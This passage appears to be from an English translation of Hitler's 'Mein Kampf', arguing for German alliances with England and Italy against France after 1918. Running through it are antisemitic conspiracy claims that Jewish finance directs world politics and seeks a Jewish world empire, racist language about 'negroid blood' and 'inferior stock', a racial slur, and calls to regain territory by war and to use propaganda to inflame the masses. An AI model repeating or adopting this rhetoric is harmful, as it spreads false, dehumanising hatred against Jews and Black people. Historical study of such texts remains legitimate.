determination to use +them has always been the same. The more difficult England's position +became in the course of history the more the British Imperial Government +considered it necessary to maintain a condition of political paralysis +among the various European States, as a result of their mutual +rivalries. When the North American colonies obtained their political +independence it became still more necessary for England to use every +effort to establish and maintain the defence of her flank in Europe. In +accordance with this policy she reduced Spain and the Netherlands to the +position of inferior naval Powers. Having accomplished this, England +concentrated all her forces against the increasing strength of France, +until she brought about the downfall of Napoleon Bonaparte and therewith +destroyed the military hegemony of France, which was the most dangerous +rival that England had to fear. + +The change of attitude in British statesmanship towards Germany took +place only very slowly, not only because the German nation did not +represent an obvious danger for England as long as it lacked national +unification, but also because public opinion in England, which had been +directed to other quarters by a system of propaganda that had been +carried out for a long time, could be turned to a new direction only by +slow degrees. In order to reach the proposed ends the calmly reflecting +statesman had to bow to popular sentiment, which is the most powerful +motive-force and is at the same time the most lasting in its energy. +When the statesman has attained one of his ends, he must immediately +turn his thoughts to others; but only by degrees and the slow work of +propaganda can the sentiment of the masses be shaped into an instrument +for the attainment of the new aims which their leaders have decided on. + +As early as 1870-71 England had decided on the new stand it would take. +On certain occasions minor oscillations in that policy were caused by +the growing influence of America in the commercial markets of the world +and also by the increasing political power of Russia; but, +unfortunately, Germany did not take advantage of these and, therefore, +the original tendency of British diplomacy was only reinforced. + +England looked upon Germany as a Power which was of world importance +commercially and politically and which, partly because of its enormous +industrial development, assumed such threatening proportions that the +two countries already contended against one another in the same sphere +and with equal energy. The so-called peaceful conquest of the world by +commercial enterprise, which, in the eyes of those who governed our +public affairs at that time, represented the highest peak of human +wisdom, was just the thing that led English statesmen to adopt a policy +of resistance. That this resistance assumed the form of an organized +aggression on a vast scale was in full conformity with a type of +statesmanship which did not aim at the maintenance of a dubious world +peace but aimed at the consolidation of British world-hegemony. In +carrying out this policy, England allied herself with those countries +which had a definite military importance. And that was in keeping with +her traditional caution in estimating the power of her adversary and +also in recognizing her own temporary weakness. That line of conduct +cannot be called unscrupulous; because such a comprehensive organization +for war purposes must not be judged from the heroic point of view but +from that of expediency. The object of a diplomatic policy must not be +to see that a nation goes down heroically but rather that it survives in +a practical way. Hence every road that leads to this goal is opportune +and the failure to take it must be looked upon as a criminal neglect of +duty. + +When the German Revolution took place England's fears of a German world +hegemony came to a satisfactory end. + +From that time it was not an English interest to see Germany totally +cancelled from the geographic map of Europe. On the contrary, the +astounding collapse which took place in November 1918 found British +diplomacy confronted with a situation which at first appeared untenable. + +For four-and-a-half years the British Empire had fought to break the +presumed preponderance of a Continental Power. A sudden collapse now +happened which removed this Power from the foreground of European +affairs. That collapse disclosed itself finally in the lack of even the +primordial instinct of self-preservation, so that European equilibrium +was destroyed within forty-eight hours. Germany was annihilated and +France became the first political Power on the Continent of Europe. + +The tremendous propaganda which was carried on during this war for the +purpose of encouraging the British public to stick it out to the end +aroused all the primitive instincts and passions of the populace and was +bound eventually to hang as a leaden weight on the decisions of British +statesmen. With the colonial, economical and commercial destruction of +Germany, England's war aims were attained. Whatever went beyond those +aims was an obstacle to the furtherance of British interests. Only the +enemies of England could profit by the disappearance of Germany as a +Great Continental Power in Europe. In November 1918, however, and up to +the summer of 1919, it was not possible for England to change its +diplomatic attitude; because during the long war it had appealed, more +than it had ever done before, to the feelings of the populace. In view +of the feeling prevalent among its own people, England could not change +its foreign policy; and another reason which made that impossible was +the military strength to which other European Powers had now attained. +France had taken the direction of peace negotiations into her own hands +and could impose her law upon the others. During those months of +negotiations and bargaining the only Power that could have altered the +course which things were taking was Germany herself; but Germany was +torn asunder by a civil war, and her so-called statesmen had declared +themselves ready to accept any and every dictate imposed on them. + +Now, in the comity of nations, when one nation loses its instinct for +self-preservation and ceases to be an active member it sinks to the +level of an enslaved nation and its territory will have to suffer the +fate of a colony. + +To prevent the power of France from becoming too great, the only form +which English negotiations could take was that of participating in +France's lust for aggrandizement. + +As a matter of fact, England did not attain the ends for which she went +to war. Not only did it turn out impossible to prevent a Continental +Power from obtaining a preponderance over the ratio of strength in the +Continental State system of Europe, but a large measure of preponderance +had been obtained and firmly established. + +In 1914 Germany, considered as a military State, was wedged in between +two countries, one of which had equal military forces at its disposal +and the other had greater military resources. Then there was England's +overwhelming supremacy at sea. France and Russia alone hindered and +opposed the excessive aggrandizement of Germany. The unfavourable +geographical situation of the REICH, from the military point of view, +might be looked upon as another coefficient of security against an +exaggerated increase of German power. From the naval point of view, the +configuration of the coast-line was unfavourable in case of a conflict +with England. And though the maritime frontier was short and cramped, +the land frontier was widely extended and open. + +France's position is different to-day. It is the first military Power +without a serious rival on the Continent. It is almost entirely +protected by its southern frontier against Spain and Italy. Against +Germany it is safeguarded by the prostrate condition of our country. A +long stretch of its coast-line faces the vital nervous system of the +British Empire. Not only could French aeroplanes and long-range +batteries attack the vital centres of the British system, but submarines +can threaten the great British commercial routes. A submarine campaign +based on France's long Atlantic coast and on the European and North +African coasts of the Mediterranean would have disastrous consequences +for England. + +Thus the political results of the war to prevent the development of +German power was the creation of a French hegemony on the Continent. The +military result was the consolidation of France as the first Continental +Power and the recognition of American equality on the sea. The economic +result was the cession of great spheres of British interests to her +former allies and associates. + +The Balkanization of Europe, up to a certain degree, was desirable and +indeed necessary in the light of the traditional policy of Great +Britain, just as France desired the Balkanization of Germany. + +What England has always desired, and will continue to desire, is to +prevent any one Continental Power in Europe from attaining a position of +world importance. Therefore England wishes to maintain a definite +equilibrium of forces among the European States--for this equilibrium +seems a necessary condition of England's world-hegemony. + +What France has always desired, and will continue to desire, is to +prevent Germany from becoming a homogeneous Power. Therefore France +wants to maintain a system of small German States whose forces would +balance one another and over which there should be no central +government. Then, by acquiring possession of the left bank of the Rhine, +she would have fulfilled the pre-requisite conditions for the +establishment and security of her hegemony in Europe. + +The final aims of French diplomacy must be in perpetual opposition to +the final tendencies of British statesmanship. + +Taking these considerations as a starting-point, anyone who investigates +the possibilities that exist for Germany to find allies must come to the +conclusion that there remains no other way of forming an alliance except +to approach England. The consequences of England's war policy were and +are disastrous for Germany. However, we cannot close our eyes to the +fact that, as things stand to-day, the necessary interests of England no +longer demand the destruction of Germany. On the contrary, British +diplomacy must tend more and more, from year to year, towards curbing +France's unbridled lust after hegemony. Now, a policy of alliances +cannot be pursued by bearing past grievances in mind, but it can be +rendered fruitful by taking account of past experiences. Experience +should have taught us that alliances formed for negative purposes suffer +from intrinsic weakness. The destinies of nations can be welded together +only under the prospect of a common success, of common gain and +conquest, in short, a common extension of power for both contracting +parties. + +The ignorance of our people on questions of foreign politics is clearly +demonstrated by the reports in the daily Press which talk about +"friendship towards Germany" on the part of one or the other foreign +statesman, whereby this professed friendship is taken as a special +guarantee that such persons will champion a policy that will be +advantageous to our people. That kind of talk is absurd to an incredible +degree. It means speculating on the unparalleled simplicity of the +average German philistine when he comes to talking politics. There is +not any British, American, or Italian statesman who could ever be +described as 'pro-German'. Every Englishman must naturally be British +first of all. The same is true of every American. And no Italian +statesman would be prepared to adopt a policy that was not pro-Italian. +Therefore, anyone who expects to form alliances with foreign nations on +the basis of a pro-German feeling among the statesmen of other countries +is either an ass or a deceiver. The necessary condition for linking +together the destinies of nations is never mutual esteem or mutual +sympathy, but rather the prospect of advantages accruing to the +contracting parties. It is true that a British statesman will always +follow a pro-British and not a pro-German policy; but it is also true +that certain definite interests involved in this pro-British policy may +coincide on various grounds with German interests. Naturally that can be +so only to a certain degree and the situation may one day be completely +reversed. But the art of statesmanship is shown when at certain periods +there is question of reaching a certain end and when allies are found +who must take the same road in order to defend their own interests. + +The practical application of these principles at the present time must +depend on the answer given to the following questions: What States are +not vitally interested in the fact that, by the complete abolition of a +German Central Europe, the economic and military power of France has +reached a position of absolute hegemony? Which are the States that, in +consideration of the conditions which are essential to their own +existence and in view of the tradition that has hitherto been followed +in conducting their foreign policy, envisage such a development as a +menace to their own future? + +Finally, we must be quite clear on the following point: France is and +will remain the implacable enemy of Germany. It does not matter what +Governments have ruled or will rule in France, whether Bourbon or +Jacobin, Napoleonic or Bourgeois-Democratic, Clerical Republican or Red +Bolshevik, their foreign policy will always be directed towards +acquiring possession of the Rhine frontier and consolidating France's +position on this river by disuniting and dismembering Germany. + +England did not want Germany to be a world Power. France desired that +there should be no Power called Germany. Therefore there was a very +essential difference. To-day we are not fighting for our position as a +World-Power but only for the existence of our country, for national +unity and the daily bread of our children. Taking this point of view +into consideration, only two States remain to us as possible allies in +Europe--England and Italy. + +England is not pleased to see a France on whose military power there is +no check in Europe, so that one day she might undertake the support of a +policy which in some way or other might come into conflict with British +interests. Nor can England be pleased to see France in possession of +such enormous coal and iron mines in Western Europe as would make it +possible for her one day to play a role in world-commerce which might +threaten danger to British interests. Moreover, England can never be +pleased to see a France whose political position on the Continent, owing +to the dismemberment of the rest of Europe, seems so absolutely assured +that she is not only able to resume a French world-policy on great lines +but would even find herself compelled to do so. The bombs which were +once dropped by the Zeppelins might be multiplied by the thousand every +night. The military predominance of France is a weight that presses +heavily on the hearts of the World Empire over which Great Britain +rules. + +Nor can Italy desire, nor will she desire, any further strengthening of +France's power in Europe. The future of Italy will be conditioned by the +development of events in the Mediterranean and by the political +situation in the area surrounding that sea. The reason that led Italy +into the War was not a desire to contribute towards the aggrandizement +of France but rather to deal her hated Adriatic rival a mortal blow. Any +further increase of France's power on the Continent would hamper the +development of Italy's future, and Italy does not deceive herself by +thinking that racial kindred between the nations will in any way +eliminate rivalries. + +Serious and impartial consideration proves that it is these two States, +Great Britain and Italy, whose natural interests not only do not +contrast with the conditions essential to the existence of the German +nation but are identical with them, to a certain extent. + +But when we consider the possibilities of alliances we must be careful +not to lose sight of three factors. The first factor concerns ourselves; +the other two concern the two States I have mentioned. + +Is it at all possible to conclude an alliance with Germany as it is +to-day? Can a Power which would enter into an alliance for the purpose +of securing assistance in an effort to carry out its own OFFENSIVE +aims--can such a Power form an alliance with a State whose rulers have +for years long presented a spectacle of deplorable incompetence and +pacifist cowardice and where the majority of the people, blinded by +democratic and Marxist teachings, betray the interests of their own +people and country in a manner that cries to Heaven for vengeance? As +things stand to-day, can any Power hope to establish useful relations +and hope to fight together for the furtherance of their common interests +with this State which manifestly has neither the will nor the courage to +move a finger even in the defence of its bare existence? Take the case +of a Power for which an alliance must be much more than a pact to +guarantee a state of slow decomposition, such as happened with the old +and disastrous Triple Alliance. Can such a Power associate itself for +life or death with a State whose most characteristic signs of activity +consist of a rampant servility in external relations and a scandalous +repression of the national spirit at home? Can such a Power be +associated with a State in which there is nothing of greatness, because +its whole policy does not deserve it? Or can alliances be made with +Governments which are in the hands of men who are despised by their own +fellow-citizens and consequently are not respected abroad? + +No. A self-respecting Power which expects something more from alliances +than commissions for greedy Parliamentarians will not and cannot enter +into an alliance with our present-day Germany. Our present inability to +form alliances furnishes the principle and most solid basis for the +combined action of the enemies who are robbing us. Because Germany does +not defend itself in any other way except by the flamboyant protests of +our parliamentarian elect, there is no reason why the rest of the world +should take up the fight in our defence. And God does not follow the +principle of granting freedom to a nation of cowards, despite all the +implications of our 'patriotic' associations. Therefore, for those +States which have not a direct interest in our annihilation no other +course remains open except to participate in France's campaign of +plunder, at least to make it impossible for the strength of France to be +exclusively aggrandized thereby. + +In the second place, we must not forget that among the nations which +were formerly our enemies mass-propaganda has turned the opinions and +feelings of large sections of the population in a fixed direction. When +for years long a foreign nation has been presented to the public as a +horde of 'Huns', 'Robbers', 'Vandals', etc., they cannot suddenly be +presented as something different, and the enemy of yesterday cannot be +recommended as the ally of tomorrow. + +But the third factor deserves greater attention, since it is of +essential importance for establishing future alliances in Europe. + +From the political point of view it is not in the interests of Great +Britain that Germany should be ruined even still more, but such a +proceeding would be very much in the interests of the international +money-markets manipulated by the Jew. The cleavage between the official, +or rather traditional, British statesmanship and the controlling +influence of the Jew on the money-markets is nowhere so clearly +manifested as in the various attitudes taken towards problems of British +foreign policy. Contrary to the interests and welfare of the British +State, Jewish finance demands not only the absolute economic destruction +of Germany but its complete political enslavement. The +internationalization of our German economic system, that is to say, the +transference of our productive forces to the control of Jewish +international finance, can be completely carried out only in a State +that has been politically Bolshevized. But the Marxist fighting forces, +commanded by international and Jewish stock-exchange capital, cannot +finally smash the national resistance in Germany without friendly help +from outside. For this purpose French armies would first have to invade +and overcome the territory of the German REICH until a state of +international chaos would set in, and then the country would have to +succumb to Bolshevik storm troops in the service of Jewish international +finance. + +Hence it is that at the present time the Jew is the great agitator for +the complete destruction of Germany. Whenever we read of attacks against +Germany taking place in any part of the world the Jew is always the +instigator. In peace-time, as well as during the War, the Jewish-Marxist +stock-exchange Press systematically stirred up hatred against Germany, +until one State after another abandoned its neutrality and placed itself +at the service of the world coalition, even against the real interests +of its own people. + +The Jewish way of reasoning thus becomes quite clear. The Bolshevization +of Germany, that is to say, the extermination of the patriotic and +national German intellectuals, thus making it possible to force German +Labour to bear the yoke of international Jewish finance--that is only +the overture to the movement for expanding Jewish power on a wider scale +and finally subjugating the world to its rule. As has so often happened +in history, Germany is the chief pivot of this formidable struggle. If +our people and our State should fall victims to these oppressors of the +nations, lusting after blood and money, the whole earth would become the +prey of that hydra. Should Germany be freed from its grip, a great +menace for the nations of the world would thereby be eliminated. + +It is certain that Jewry uses all its subterranean activities not only +for the purpose of keeping alive old national enmities against Germany +but even to spread them farther and render them more acute wherever +possible. It is no less certain that these activities are only very +partially in keeping with the true interests of the nations among whose +people the poison is spread. As a general principle, Jewry carries on +its campaign in the various countries by the use of arguments that are +best calculated to appeal to the mentality of the respective nations and +are most likely to produce the desired results; for Jewry knows what the +public feeling is in each country. Our national stock has been so much +adulterated by the mixture of alien elements that, in its fight for +power, Jewry can make use of the more or less 'cosmopolitan' circles +which exist among us, inspired by the pacifist and international +ideologies. In France they exploit the well-known and accurately +estimated chauvinistic spirit. In England they exploit the commercial +and world-political outlook. In short, they always work upon the +essential characteristics that belong to the mentality of each nation. +When they have in this way achieved a decisive influence in the +political and economic spheres they can drop the limitations which their +former tactics necessitated, now disclosing their real intentions and +the ends for which they are fighting. Their work of destruction now goes +ahead more quickly, reducing one State after another to a mass of ruins +on which they will erect the everlasting and sovereign Jewish Empire. + +In England, and in Italy, the contrast between the better kind of solid +statesmanship and the policy of the Jewish stock-exchange often becomes +strikingly evident. + +Only in France there exists to-day more than ever before a profound +accord between the views of the stock-exchange, controlled by the Jews, +and the chauvinistic policy pursued by French statesmen. This identity +of views constitutes an immense, danger for Germany. And it is just for +this reason that France is and will remain by far the most dangerous +enemy. The French people, who are becoming more and more obsessed by +negroid ideas, represent a threatening menace to the existence of the +white race in Europe, because they are bound up with the Jewish campaign +for world-domination. For the contamination caused by the influx of +negroid blood on the Rhine, in the very heart of Europe, is in accord +with the sadist and perverse lust for vengeance on the part of the +hereditary enemy of our people, just as it suits the purpose of the cool +calculating Jew who would use this means of introducing a process of +bastardization in the very centre of the European Continent and, by +infecting the white race with the blood of an inferior stock, would +destroy the foundations of its independent existence. + +France's activities in Europe to-day, spurred on by the French lust for +vengeance and systematically directed by the Jew, are a criminal attack +against the life of the white race and will one day arouse against the +French people a spirit of vengeance among a generation which will have +recognized the original sin of mankind in this racial pollution. + +As far as concerns Germany, the danger which France represents involves +the duty of relegating all sentiment to a subordinate place and +extending the hand to those who are threatened with the same menace and +who are not willing to suffer or tolerate France's lust for hegemony. + +For a long time yet to come there will be only two Powers in Europe with +which it may be possible for Germany to conclude an alliance. These +Powers are Great Britain and Italy. + +If we take the trouble to cast a glance backwards on the way in which +German foreign policy has been conducted since the Revolution we must, +in view of the constant and incomprehensible acts of submission on the +part. of our governments, either lose heart or become fired with rage +and take up the cudgels against such a regime. Their way of acting +cannot be attributed to a want of understanding, because what seemed to +every thinking man to be inconceivable was accomplished by the leaders +of the November parties with their Cyclopean intellects. They bowed to +France and begged her favour. Yes, during all these recent years, with +the touching simplicity of incorrigible visionaries, they went on their +knees to France again and again. They perpetuaily wagged their tails +before the GRANDE NATION. And in each trick-o'-the-loop which the French +hangmen performed with his rope they recognized a visible change of +feeling. Our real political wire-pullers never shared in this absurd +credulity. The idea of establishing a friendship with France was for +them only a means of thwarting every attempt on Germany's part to adopt +a practical policy of alliances. They had no illusions about French aims +or those of the men behind the scenes in France. What induced them to +take up such an attitude and to act as if they honestly believed that +the fate of Germany could possibly be changed in this way was the cool +calculation that if this did not happen our people might take the reins +into their own hands and choose another road. + +Of course it is difficult for us to propose England as our possible ally +in the future. Our Jewish Press has always been adept in concentrating +hatred against England particularly. And many of our good German +simpletons perch on these branches which the Jews have limed to capture +them. They babble about a restoration of German sea power and protest +against the robbery of our colonies. Thus they furnish material which +the contriving Jew transmits to his clansmen in England, so that it can +be used there for purposes of practical propaganda. For our +simple-minded bourgeoisie who indulge in politics can take in only +little by little the idea that to-day we have not to fight for +'sea-power' and such things. Even before the War it was absurd to direct +the national energies of Germany towards this end without first having +secured our position in Europe. Such a hope to-day reaches that peak of +absurdity which may be called criminal in the domain of politics. + +Often one becomes really desperate on seeing how the Jewish wire-pullers +succeeded in concentrating the attention of the people on things which +are only of secondary importance to-day, They incited the people to +demonstrations and protests while at the same time France was tearing +our nation asunder bit by bit and systematically removing the very +foundations of our national independence. + +In this connection I have to think of the Wooden Horse in the riding of +which the Jew showed extraordinary skill during these years. I mean +South Tyrol. + +Yes, South Tyrol. The reason why I take up this question here is just +because I want to call to account that shameful CANAILLE who relied on +the ignorance and short memories of large sections of our people and +stimulated a national indignation which is as foreign to the real +character of our parliamentary impostors as the idea of respect for +private property is to a magpie. + +I should like to state here that I was one of those who, at the time +when the fate of South Tyrol was being decided--that is to say, from +August 1914 to November 1918--took my place where that country also +could have been effectively defended, namely, in the Army. I did my +share in the fighting during those years, not merely to save South Tyrol +from being lost but also to save every other German province for the +Fatherland. + +The parliamentary sharpers did not take part in that combat. The whole +CANAILLE played party politics. On the other hand, we carried on the +fight in the belief that a victorious issue of the War would enable the +German nation to keep South Tyrol also; but the loud-mouthed traitor +carried on a seditious agitation against such a victorious issue, until +the fighting Siegfried succumbed to the dagger plunged in his back. It +was only natural that the inflammatory and hypocritical speeches of the +elegantly dressed parliamentarians on the Vienna RATHAUS PLATZ or in +front of the FELDHERRNHALLE in Munich could not save South Tyrol for +Germany. That could be done only by the fighting battalions at the +Front. Those who broke up that fighting front betrayed South Tyrol, as +well as the other districts of Germany. + +Anyone who thinks that the South Tyrol question can be solved to-day by +protests and manifestations and processions organized by various +associations is either a humbug or merely a German philistine. + +In this regard it must be quite clearly understood that we cannot get +back the territories we have lost if we depend on solemn imprecations +before the throne of the Almighty God or on pious hopes in a League of +Nations, but only by the force of arms. + +Therefore the only remaining question is: Who is ready to take up arms +for the restoration of the lost territories? + +As far as concerns myself personally, I can state with a good conscience +that I would have courage enough to take part in a campaign for the +reconquest of South Tyrol, at the head of parliamentarian storm +battalions consisting of parliamentarian gasconaders and all the party +leaders, also the various Councillors of State. Only the Devil knows +whether I might have the luck of seeing a few shells suddenly burst over +this 'burning' demonstration of protest. I think that if a fox were to +break into a poultry yard his presence would not provoke such a +helter-skelter and rush to cover as we should witness in the band of +'protesters'. + +The vilest part of it all is that these talkers themselves do not +believe that anything can be achieved in this way. Each one of them +knows very well how harmless and ineffective their whole pretence is. +They do it only because it is easier now to babble about the restoration +of South Tyrol than to fight for its preservation in days gone by. + +Each one plays the part that he is best capable of playing in life. In +those days we offered our blood. To-day these people are engaged in +whetting their tusks. + +It is particularly interesting to note to-day how legitimist circles in +Vienna preen themselves on their work for the restoration of South +Tyrol. Seven years ago their august and illustrious Dynasty helped, by +an act of perjury and treason, to make it possible for the victorious +world-coalition to take away South Tyrol. At that time these circles +supported the perfidious policy adopted by their Dynasty and did not +trouble themselves in the least about the fate of South Tyrol or any +other province. Naturally it is easier to-day to take up the fight for +this territory, since the present struggle is waged with 'the weapons of +the mind'. Anyhow, it is easier to join in a 'meeting of protestation' +and talk yourself hoarse in giving vent to the noble indignation that +fills your breast, or stain your finger with the writing of a newspaper +article, than to blow up a bridge, for instance, during the occupation +of the Ruhr. + +The reason why certain circles have made the question of South Tyrol the +pivot of German-Italian relations during the past few years is quite +evident. Jews and Habsburg legitimists are greatly interested in +preventing Germany from pursuing a policy of alliance which might lead +one day to the resurgence of a free German fatherland. It is not out of +love for South Tyrol that they play this role to-day--for their policy +would turn out detrimental rather than helpful to the interests of that +province--but through fear of an agreement being established between +Germany and Italy. + +A tendency towards lying and calumny lies in the nature of these people, +and that explains how they can calmly and brazenly attempt to twist +things in such a way as to make it appear that we have 'betrayed' South +Tyrol. + +There is one clear answer that must be given to these gentlemen. It is +this: Tyrol has been betrayed, in the first place, by every German who +was sound in limb and body and did not offer himself for service at the +Front during 1914-1918 to do his duty towards his country. + +In the second place, Tyrol was betrayed by every man who, during those +years did not help to reinforce the national spirit and the national +powers of resistance, so as to enable the country to carry through the +War and keep up the fight to the very end. + +In the third place, South Tyrol was betrayed by everyone who took part +in the November Revolution, either directly by his act or indirectly by +a cowardly toleration of it, and thus broke the sole weapon that could +have saved South Tyrol. + +In the fourth place, South Tyrol was betrayed by those parties and their +adherents who put their signatures to the disgraceful treaties of +Versailles and St. Germain. + +And so the matter stands, my brave gentlemen, who make your protests +only with words. + +To-day I am guided by a calm and cool recognition of the fact that the +lost territories cannot be won back by the whetted tongues of +parliamentary spouters but only by the whetted sword; in other words, +through a fight where blood will have to be shed. + +Now, I have no hesitations in saying that to-day, once the die has been +cast, it is not only impossible to win back South Tyrol through a war +but I should definitely take my stand against such a movement, because I +am convinced that it would not be possible to arouse the national +enthusiasm of the German people and maintain it in such a way as would +be necessary in order to carry through such a war to a successful issue. +On the contrary, I believe that if we have to shed German blood once +again it would be criminal to do so for the sake of liberating 200,000 +Germans, when more than seven million neighbouring Germans are suffering +under foreign domination and a vital artery of the German nation has +become a playground for hordes of African niggers. + +If the German nation is to put an end to a state of things which +threatens to wipe it off the map of Europe it must not fall into the +errors of the pre-War period and make the whole world its enemy. But it +must ascertain who is its most dangerous enemy so that it can +concentrate all its forces in a struggle to beat him. And if, in order +to carry through this struggle to victory, sacrifices should be made in +other quarters, future generations will not condemn us for that. They +will take account of the miseries and anxieties which led us to make +such a bitter decision, and in the light of that consideration they will +more clearly recognize the brilliancy of our success. + +Again I must say here that we must always be guided by the fundamental +principle that, as a preliminary to winning back lost provinces, the +political independence and strength of the motherland must first be +restored. + +The first task which has to be accomplished is to make that independence +possible and to secure it by a wise policy of alliances, which +presupposes an energetic management of our public affairs. + +But it is just on this point that we, National Socialists, have to guard +against being dragged into the tow of our ranting bourgeois patriots who +take their cue from the Jew. It would be a disaster if, instead of +preparing for the coming struggle, our Movement also were to busy itself +with mere protests by word of mouth. + +It was the fantastic idea of a Nibelungen alliance with the decomposed +body of the Habsburg State that brought about Germany's ruin. Fantastic +sentimentality in dealing with the possibilities of foreign policy +to-day would be the best means of preventing our revival for innumerable +years to come. + +Here I must briefly answer the objections which may be raised in regard +to the three questions I have put. + +1. Is it possible at all to form an alliance with the present Germany, +whose weakness is so visible to all eyes? + +2. Can the ex-enemy nations change their attitude towards Germany? + +3. In other nations is not the influence of Jewry stronger than the +recognition of their own interests, and does not this influence thwart +all their good intentions and render all their plans futile? + +I think that I have already dealt adequately with one of the two aspects +of the first point. Of course nobody will enter into an alliance with +the present Germany. No Power in the world would link its fortunes with +a State whose government does not afford grounds for the slightest +confidence. As regards the attempt which has been made by many of our +compatriots to explain the conduct of the Government by referring to the +woeful state of public feeling and thus excuse such conduct, I must +strongly object to that way of looking at things. + +The lack of character which our people have shown during the last six +years is deeply distressing. The indifference with which they have +treated the most urgent necessities of our nation might veritably lead +one to despair. Their cowardice is such that it often cries to heaven +for vengeance. But one must never forget that we are dealing with a +people who gave to the world, a few years previously, an admirable +example of the highest human qualities. From the first days of August +1914 to the end of the tremendous struggle between the nations, no +people in the world gave a better proof of manly courage, tenacity and +patient endurance, than this people gave who are so cast down and +dispirited to-day. Nobody will dare to assert that the lack of character +among our people to-day is typical of them. What we have to endure +to-day, among us and around us, is due only to the influence of the sad +and distressing effects that followed the high treason committed on +November 9th, 1918. More than ever before the word of the poet is true: +that evil can only give rise to evil. But even in this epoch those +qualities among our people which are fundamentally sound are not +entirely lost. They slumber in the depths of the national conscience, +and sometimes in the clouded firmament we see certain qualities like +shining lights which Germany will one day remember as the first symptoms +of a revival. We often see young Germans assembling and forming +determined resolutions, as they did in 1914, freely and willingly to +offer themselves as a sacrifice on the altar of their beloved +Fatherland. Millions of men have resumed work, whole-heartedly and +zealously, as if no revolution had ever affected them. The smith is at +his anvil once again. And the farmer drives his plough. The scientist is +in his laboratory. And everybody is once again attending to his duty +with the same zeal and devotion as formerly. + +The oppression which we suffer from at the hands of our enemies is no +longer taken, as it formerly was, as a matter for laughter; but it is +resented with bitterness and anger. There can be no doubt that a great +change of attitude has taken place. + +This evolution has not yet taken the shape of a conscious intention and +movement to restore the political power and independence of our nation; +but the blame for this must be attributed to those utterly incompetent +people who have no natural endowments to qualify them for statesmanship +and yet have been governing our nation since 1918 and leading it to +ruin. + +Yes. If anybody accuses our people to-day he ought to be asked: What is +being done to help them? What are we to say of the poor support which +the people give to any measures introduced by the Government? Is it not +true that such a thing as a Government hardly exists at all? And must we +consider the poor support which it receives as a sign of a lack of +vitality in the nation itself; or is it not rather a proof of the +complete failure of the methods employed in the management of this +valuable trust? What have our Governments done to re-awaken in the +nation a proud spirit of self-assertion, up-standing manliness, and a +spirit of righteous defiance towards its enemies? + +In 1919, when the Peace Treaty was imposed on the German nation, there +were grounds for hoping that this instrument of unrestricted oppression +would help to reinforce the outcry for the freedom of Germany. Peace +treaties which make demands that fall like a whip-lash on the people +turn out not infrequently to be the signal of a future revival. + +To what purpose could the Treaty of Versailles have been exploited? + +In the hands of a willing Government, how could this instrument of +unlimited blackmail and shameful humiliation have been applied for the +purpose of arousing national sentiment to its highest pitch? How could a +well-directed system of propaganda have utilized the sadist cruelty of +that treaty so as to change the indifference of the people to a feeling +of indignation and transform that indignation into a spirit of dauntless +resistance? + +Each point of that Treaty could have been engraved on the minds and +hearts of the German people and burned into them until sixty million men +and women would find their souls aflame with a feeling of rage and +shame; and a torrent of fire would burst forth as from a furnace, and +one common will would be forged from it, like a sword of steel. Then the +people would join in the common cry: "To arms again!" + +Yes. A treaty of that kind can be used for such a purpose. Its unbounded +oppression and its impudent demands were an excellent propaganda weapon +to arouse the sluggish spirit of the nation and restore its vitality. + +Then, from the child's story-book to the last newspaper in the country, +and every theatre and cinema, every pillar where placards are posted and +every free space on the hoardings should be utilized in the service of +this one great mission, until the faint-hearted cry, "Lord, deliver us," +which our patriotic associations send up to Heaven to-day would be +transformed into an ardent prayer: "Almighty God, bless our arms when +the hour comes. Be just, as Thou hast always been just. Judge now if we +deserve our freedom. Lord, bless our struggle." + +All opportunities were neglected and nothing was done. + +Who will be surprised now if our people are not such as they should be +or might be? The rest of the world looks upon us only as its valet, or +as a kindly dog that will lick its master's hand after he has been +whipped. + +Of course the possibilities of forming alliances with other nations are +hampered by the indifference of our own people, but much more by our +Governments. They have been and are so corrupt that now, after eight +years of indescribable oppression, there exists only a faint desire for +liberty. + +In order that our nation may undertake a policy of alliances, it must +restore its prestige among other nations, and it must have an +authoritative Government that is not a drudge in the service of foreign +States and the taskmaster of its own people, but rather the herald of +the national will. + +If our people had a government which would look upon this as its +mission, six years would not have passed before a courageous foreign +policy on the part of the REICH would find a corresponding support among +the people, whose desire for freedom would be encouraged and intensified +thereby. + +The third objection referred to the difficulty of changing the ex-enemy +nations into friendly allies. That objection may be answered as follows: + +The general anti-German psychosis which has developed in other countries +through the war propaganda must of necessity continue to exist as long +as there is not a renaissance of the national conscience among the +German people, so that the German REICH may once again become a State +which is able to play its part on the chess-board of European politics +and with whom the others feel that they can play. Only when the +Government and the people feel absolutely certain of being able to +undertake a policy of alliances can one Power or another, whose +interests coincide with ours, think of instituting a system of +propaganda for the purpose of changing public opinion among its own +people. Naturally it will take several years of persevering and ably +directed work to reach such a result. Just because a long period is +needed in order to change the public opinion of a country, it is +necessary to reflect calmly before such an enterprise be undertaken. +This means that one must not enter upon this kind of work unless one is +absolutely convinced that it is worth the trouble and that it will bring +results which will be valuable in the future. One must not try to change +the opinions and feelings of a people by basing one's actions on the +vain cajolery of a more or less brilliant Foreign Minister, but only if +there be a tangible guarantee that the new orientation will be really +useful. Otherwise public opinion in the country dealt with may be just +thrown into a state of complete confusion. The most reliable guarantee +that can be given for the possibility of subsequently entering into an +alliance with a certain State cannot be found in the loquacious suavity +of some individual member of the Government, but in the manifest +stability of a definite and practical policy on the part of the +Government as a whole, and in the support which is given to that policy +by the public opinion of the country. The faith of the public in this +policy will be strengthened all the more if the Government organize one +active propaganda to explain its efforts and secure public support for +them, and if public opinion favourably responds to the Government's +policy. + +Therefore a nation in such a position as ours will be looked upon as a +possible ally if public opinion supports the Government's policy and if +both are united in the same enthusiastic determination to carry through +the fight for national freedom. That condition of affairs must be firmly +established before any attempt can be made to change public opinion in +other countries which, for the sake of defending their most elementary +interests, are disposed to take the road shoulder-to-shoulder with a +companion who seems able to play his part in defending those interests. +In other words, this means that they will be ready to establish an +alliance. + +For this purpose, however, one thing is necessary. Seeing that the task +of bringing about a radical change in the public opinion of a country +calls for hard work, and many do not at first understand what it means, +it would be both foolish and criminal to commit mistakes which could be +used as weapons in the hands of those who are opposed to such a change. + +One must recognize the fact that it takes a long time for a people to +understand completely the inner purposes which a Government has in view, +because it is not possible to explain the ultimate aims of the +preparations that are being made to carry through a certain policy. In +such cases the Government has to count on the blind faith of the masses +or the intuitive instinct of the ruling caste that is more developed +intellectually. But since many people lack this insight, this political +acumen and faculty for seeing into the trend of affairs, and since +political considerations forbid a public explanation of why such and +such a course is being followed, a certain number of leaders in +intellectual circles will always oppose new tendencies which, because +they are not easily grasped, can be pointed to as mere experiments. And +that attitude arouses opposition among conservative circles regarding +the measures in question. + +For this 